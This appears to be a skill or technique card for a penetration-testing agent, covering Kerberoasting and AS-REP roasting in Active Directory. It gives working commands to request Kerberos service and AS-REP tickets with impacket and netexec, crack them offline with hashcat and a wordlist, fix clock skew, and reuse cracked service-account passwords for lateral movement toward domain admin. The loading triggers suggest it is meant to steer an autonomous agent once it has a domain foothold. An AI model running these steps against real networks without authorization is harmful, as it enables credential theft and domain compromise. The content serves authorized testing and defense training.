| name | ad-kerberoasting |
| description | Kerberoasting & AS-REP roasting — request/crack Kerberos tickets to recover service/user passwords offline. Load with any domain foothold or valid domain creds, on "kerberoast", "AS-REP", SPNs, service accounts, ports 88/389. Signals: domain creds in hand, SPNs set, accounts with pre-auth disabled.
|
| domain | ad |
| type | technique |
| stability | learning |
| modes | ["pentest"] |
| severity | high |
| mitre | ["T1558.003","T1558.004"] |
| cwe | ["CWE-262"] |
| tools | ["impacket","hashcat","netexec","rubeus"] |
| schema_version | 1 |
Kerberoasting & AS-REP roasting
When it applies
You have valid domain credentials (kerberoasting) or just a username list (AS-REP). Both recover
plaintext passwords offline by cracking Kerberos-issued material — no lockout risk.
Why it works
- Kerberoasting: any authenticated user can request a service ticket (TGS) for any account
with an SPN; part of it is encrypted with the service account's password hash. Crack it offline.
- AS-REP roasting: accounts with "do not require Kerberos preauth" hand out an AS-REP
encrypted with the user's key to anyone — no creds needed, just the username.
Method
- Kerberoast (need creds):
impacket-GetUserSPNs corp.local/user:pass -dc-ip DC -request
(or nxc ldap DC -u user -p pass --kerberoasting out.txt). Service accounts are prime targets.
- AS-REP roast (no creds needed):
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -request — pulls hashes for pre-auth-disabled accounts.
- Crack offline:
hashcat -m 13100 (TGS) / -m 18200 (AS-REP) with rockyou + rules.
- Use the creds: service accounts are often privileged → lateral movement / DA path
(
ad-pivot-arsenal, network-pivoting-tunneling).
Gotchas
- Offline cracking = no account lockout, but a weak-password dependency; strong passwords resist.
- Target high-value SPNs (SQL, web, admin service accounts) first.
- Clock skew breaks Kerberos — sync time to the DC (
ntpdate/faketime) if you get KRB_AP_ERR_SKEW.
Verify success
A cracked plaintext password for a domain account, then authenticated access with it.
References
impacket GetUserSPNs/GetNPUsers; hashcat modes 13100/18200; "Kerberoasting" (Harmj0y).
